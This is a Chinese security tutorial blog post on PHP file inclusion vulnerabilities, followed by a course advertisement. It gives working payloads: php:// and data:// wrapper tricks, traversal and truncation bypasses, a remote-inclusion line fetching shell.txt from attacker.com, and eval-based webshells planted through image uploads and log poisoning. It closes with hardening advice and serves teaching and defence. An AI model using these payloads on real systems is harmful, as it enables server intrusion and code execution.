news 2026/9/29 17:36:03

文件包含漏洞原理与实战,绕过各种过滤姿势汇总

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
文件包含漏洞原理与实战,绕过各种过滤姿势汇总

文件包含漏洞原理与实战,绕过各种过滤姿势汇总

前言

文件包含是 Web 安全经典高危漏洞,PHP、JSP、ASP 这类动态语言都存在,其中 PHP 出现频率最高。很多开发为了代码复用,使用include、require等函数动态引入文件;如果文件路径参数可控,又没有做好输入校验,攻击者就可以读取服务器敏感文件,甚至执行恶意代码拿下服务器权限。

现在 WAF 和代码审计经常会过滤../、http://等关键词,简单的 payload 直接被拦截。本文从漏洞原理、LFI/RFI 区分、伪协议利用,到各类过滤绕过方法、日志注入、图片马实战一次性整理。适合渗透测试、靶场练习、代码审计学习。

免责声明:本文所有技术仅用于授权环境安全测试、网络安全学习。严禁在未授权网站、服务器上进行漏洞测试,未经授权的探测、文件读取、代码执行行为违反网络安全法律法规。

0x01 文件包含漏洞基础原理

1.1 漏洞产生的核心条件

  1. 代码使用文件包含函数(PHP:include、include_once、require、require_once);
  2. 文件路径由用户前端传入参数控制;
  3. 缺少输入过滤、白名单校验、目录限制。

漏洞源码示例(经典脆弱代码):

<?php // page参数用户可控,直接带入include $page = $_GET['page']; include($page); ?>

访问?page=index.php正常加载页面;修改参数?page=/etc/passwd,就会读取服务器本地用户文件。

还有一种场景,代码自动拼接后缀,也是高频坑:

<?php $page = $_GET['page']; include($page . ".php"); // 自动追加.php后缀 ?>

这种代码会强制在传入参数末尾拼接.php,直接传/etc/passwd会变成/etc/passwd.php,无法正常读取,需要用截断技巧绕过。

1.2 两类文件包含:LFI 本地包含、RFI 远程包含

  • LFI(Local File Inclusion,本地文件包含):只能读取服务器本地磁盘文件。不需要开启远程包含配置,现在最常见。
    危害:读取/etc/passwd、网站配置文件、数据库账号密码、日志文件。配合日志注入、图片上传,可实现代码执行 RCE。
  • RFI(Remote File Inclusion,远程文件包含):可以包含远程服务器上的文件并执行代码。
    利用前置条件(php.ini):
allow_url_fopen = On allow_url_include = On

注意:PHP5.2 之后allow_url_include默认关闭,现在线上 RFI 很少见,遗留老系统才会遇到。
利用 payload:?page=http://攻击者服务器/shell.txt,远程文件中的 PHP 代码会被服务器解析执行。

0x02 PHP 伪协议利用(LFI 核心手段)

PHP 内置多种包装协议,不需要../目录穿越,直接读取源码或者执行代码,WAF 如果只过滤../,很容易被伪协议绕过。

2.1 php://filter 读取源码(最常用)

作用:读取文件内容,并且可以做 base64 编码输出,解决 PHP 文件直接包含会执行而看不到源码的问题。
Payload:

?page=php://filter/read=convert.base64-encode/resource=index.php

服务器返回 base64 字符串,解码后拿到 index.php 完整源代码,读取数据库配置、源码密钥。

  • 适用场景:WAF 没有拦截php://filter;
  • 坑点:resource 后面不能带协议头,只能写本地文件路径。

2.2 php://input 执行代码

php://input读取 POST 原始请求体内容,将 POST 数据当作 PHP 代码执行。

条件:allow_url_include=On,POST 提交数据。
Payload:

GET ?page=php://input POST数据:<?php phpinfo(); ?>

2.3 data:// 伪协议执行代码

直接在 URL 内写入 PHP 代码,实现 RCE。
条件:allow_url_include=On

?page=data://text/plain,<?php phpinfo();?> base64编码版本: ?page=data://text/plain;base64,PD9waHAgcGhpbmZvKCk7Pz4=

2.4 file:// 读取本地绝对路径文件

读取本地文件,传入绝对路径:

?page=file:///etc/passwd

0x03 各类过滤绕过实战汇总

很多站点会做黑名单过滤,过滤../、http、php://、passwd,下面分场景整理绕过姿势。

场景 1:过滤../跨目录符号(最常见)

① 多层点斜替换

过滤单个../,可以使用....//,PHP 解析时会化简为../

?page=....//....//etc/passwd
② URL 编码绕过

../URL 编码:%2E%2E%2F
二次编码(WAF 只做一次解码):%252E%252E%252F

原理:WAF 第一次解码检测,后端 PHP 会再次解码,绕过黑名单匹配。

③ Windows 与 Linux 斜符混用

Linux 识别/,Windows 识别\,如果只过滤/,可以使用..\

?page=..\..\windows\system32\drivers\etc\hosts
④ 绝对路径直接读取

黑名单只拦截../,允许绝对路径,直接传入完整路径,不需要目录穿越。

?page=/etc/passwd

场景 2:代码自动追加后缀 .php($page . “.php”)

目标代码:include($page.".php");,直接传/etc/passwd会变成/etc/passwd.php读取失败。

① %00 空字节截断(老版本 PHP)

Payload:?page=/etc/passwd%00

限制条件:PHP < 5.3.4,magic_quotes_gpc 关闭。新版本 PHP 已经修复,线上很少,靶场多见。原理:%00是字符串结束符,后面拼接的.php被丢弃。

② 路径长度截断(点号截断)

PHP 文件路径有长度上限,超长路径会自动截断末尾追加的.php。Linux 一般 4096 字节,Windows259 字节。
构造大量./填充,让最终拼接的.php超出长度被截断。

?page=../../../etc/passwd/././././[大量填充./]
③ RFI 利用?问号截断(远程包含场景)

远程包含时,URL 的?代表查询参数,PHP 会把?后面内容当成参数,不会拼接到文件名。

?page=http://attacker.com/shell.txt?

最终包含地址:http://attacker.com/shell.txt,自动追加的.php变成 URL 参数,不会参与文件名。

④ # 井号截断

#是锚点,浏览器发送请求不会传递 #后面内容,适合部分场景。

场景 3:过滤伪协议关键词 php://

  1. 大小写绕过:PHP 协议不区分大小写
?page=PHP://filter/read=convert.base64-encode/resource=index.php
  1. 编码绕过,对关键字 URL 编码;
  2. 部分环境支持协议换行、空白字符绕过(老版本)。

场景 4:过滤关键词 passwd、hosts 等敏感文件名

  • 编码绕过,文件名 URL 编码;
  • 通配符读取(部分 Linux 环境支持 glob 协议)
?page=glob:///etc/passw*

0x04 LFI 本地文件包含实现 RCE 的实战方法

单纯 LFI 只能读文件,配合文件上传、日志写入,就能写入 PHP 代码,实现代码执行。

4.1 图片马 + 文件上传(经典)

  1. 上传图片马1.jpg,文件内容包含<?php eval($_GET[cmd]);?>,图片头部添加 GIF 文件头GIF89a绕过图片校验;
  2. 上传拿到图片路径/upload/1.jpg;
  3. 使用文件包含漏洞包含这个图片:
?page=upload/1.jpg

PHP 包含 jpg 文件,会解析里面 PHP 代码,触发 RCE。

关键点:图片后缀是 jpg,直接访问不会解析 PHP,只有 include 包含的时候,里面代码才会被执行。

4.2 日志注入攻击(LFI 高频利用手段)

原理:Web 服务器访问日志(nginx/apache)会记录 User-Agent、请求 URI。我们把 PHP 代码写入请求头,日志文件保存这段代码;再通过文件包含读取日志文件,执行里面 PHP 代码。

  1. 修改请求头 User-Agent 写入一句话木马:<?php eval($_POST[cmd]);?>
  2. 发送请求,服务器将 UA 写入 access.log;
  3. 包含日志文件,执行代码。
    Linux 常见日志路径:
/var/log/apache2/access.log /var/log/nginx/access.log /var/log/httpd/access_log

坑点:日志文件权限、日志路径未知;日志过大容易无法利用。

4.3 会话文件包含(session 注入)

PHP Session 文件保存在服务器/tmp/sess_xxxx,session 内容可控,写入 PHP 代码,再包含 session 文件触发执行。

0x05 测试思路与漏洞判断流程

  1. 寻找可疑参数:?file=xx、?page=xx、?path=xx、?template=xx、?lang=xx;
  2. 基础测试:传入?page=php://filter/read=convert.base64-encode/resource=index.php,看是否返回 base64 源码;
  3. 目录穿越测试:?page=../../etc/passwd;
  4. 判断是否自动追加后缀,测试截断 payload;
  5. 尝试伪协议、图片马、日志注入,判断是否能 RCE;
  6. 识别 WAF,依次尝试编码、大小写、多层点斜等绕过。

0x06 高频踩坑总结

❌坑 1:直接使用../被 WAF 拦截,就判定不存在文件包含漏洞

WAF 黑名单可以绕过,伪协议、多层点斜、编码方式经常可以绕过。

❌坑 2:图片马上传成功,直接访问图片地址,以为能执行代码

直接访问 jpg 不会解析 PHP,必须通过 include 函数包含才执行代码。

❌坑 3:%00 截断到处使用

%00 截断只在 PHP<5.3.4 生效,新版 PHP 无效,不要盲目测试。

❌坑 4:RFI 现在很容易复现

新版 PHP 默认关闭 allow_url_include,RFI 在现代线上站点极少,更多是 LFI 本地包含。

❌坑 5:黑名单过滤就认为安全

过滤../这种黑名单防护非常脆弱,各种编码、变形都可以绕过,文件包含防护必须使用白名单。

0x07 防御加固方案(开发 & 运维)

  1. 优先白名单策略(最安全),只允许指定的页面文件,用户输入只能选择预设文件,禁止直接拼接文件路径;
  2. 禁止用户可控参数直接传入include、require这类危险包含函数;
  3. php.ini 配置加固:
allow_url_include = Off allow_url_fopen = Off open_basedir = /webroot/ #限制PHP只能访问网站目录
  1. 过滤危险伪协议,如果业务不需要,禁用php://、data://、file://;
  2. 上传文件独立目录,限制上传目录 php 解析,图片目录禁止执行 PHP;
  3. 输入校验:过滤目录分隔符,限制输入字符;不要依赖黑名单;
  4. 日志权限最小化,防止日志注入;
  5. 关闭详细错误提示,防止泄露路径信息;WAF 添加文件包含特征检测,持续监控异常请求。

总结

文件包含漏洞核心是可控路径带入文件包含函数。RFI 远程包含现在已经很少见,LFI 本地包含依然是靶场、老旧站点高频漏洞。
黑名单过滤非常容易绕过,../可以多层构造、URL 编码;自动追加后缀场景可以用截断手段;php://filter 伪协议可以不依赖目录穿越直接读取源码。

文件包含的利用链条一般:读取源码 → 读取配置拿数据库信息;或者日志 / 图片马注入 → 包含恶意文件拿到 RCE。
防御的核心原则:永远不要把用户可控的输入,直接拼接为文件路径,白名单才是可靠方案。

一句话记住:黑名单挡不住文件包含,白名单 + open_basedir + 禁用远程协议,三层防护才能有效防御。


最后

关于网络安全技术储备

学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!

对于0基础小白入门:

如果你是零基础小白,想快速入门网络安全是可以考虑的。

一方面是学习时间相对较短,学习内容更全面更集中。

二方面是可以找到适合自己的学习方案

包括:网安成长学习路线图、SRC&黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全!

需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)

👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

随着互联网技术的飞速发展,网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等,以其强大的语言理解和防御能力,正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/29 17:35:09

5.9GB模型仅占2.7GB显存:GGUF量化与KV cache优化实战

1. 5.9GB 的模型文件&#xff0c;为什么显存只吃掉 2.7GB 先把结论摆在前面&#xff1a;模型文件大小和显存占用从来就不是一回事。我这次跑的是一个 5.9GB 的 GGUF 文件&#xff0c;加载完之后 nvidia-smi 显示显存占用稳定在 2.7GB 上下&#xff0c;中间还有一段波动。第一…

作者头像 李华
网站建设 2026/9/29 17:35:09

Kilo Code 整体架构设计:四层分层与事件驱动状态机实践

好&#xff0c;今天我们聊一个非常带劲的话题&#xff1a; Kilo Code 项目整体结构设计 。 不整那些虚头巴脑的领域介绍&#xff0c;我直接说人话。Kilo Code 是一个对话驱动的本地代码助手&#xff0c;说得再直白一点&#xff0c;它要做的事情是&#xff1a;你在一个对话框…

作者头像 李华
网站建设 2026/9/29 17:34:58

8400张YOLO智慧交通安全带检测数据集解析与实战指南

去年帮朋友调试一个路侧卡口的车辆抓拍系统&#xff0c;车辆识别、车牌识别都跑得挺顺&#xff0c;唯独安全带检测这一项&#xff0c;换了三四个公开数据集&#xff0c;到了现场仍然频繁漏检、误检。后来把失败样本逐一拉出来分析&#xff0c;发现根子问题根本不在模型结构&…

作者头像 李华
网站建设 2026/9/29 17:34:41

三菱A800变频器加装PLG编码器实现闭环矢量与位置控制全解析

1. 从速度环到位置环&#xff1a;A800矢量控制加装PLG到底解决了什么问题很多做设备改造的朋友都有过这样的经历&#xff1a;一台原本跑得好好的三菱A800变频器&#xff0c;开环矢量控制带个普通异步电机&#xff0c;速度精度勉强够用&#xff0c;但一旦工艺要求提升到“定位”…

作者头像 李华
网站建设 2026/9/29 17:34:38

大模型辅助研发决策:本地部署与微调实战

1. 研发提效的痛点&#xff1a;为什么错误决策比写错代码更致命做研发管理这些年&#xff0c;我越来越确信一件事&#xff1a;拖垮项目进度的往往不是代码写不出来&#xff0c;而是关键节点上做错了决策。技术选型选偏了、架构方案拍脑袋定了、排期估算过于乐观、线上故障排查方…

作者头像 李华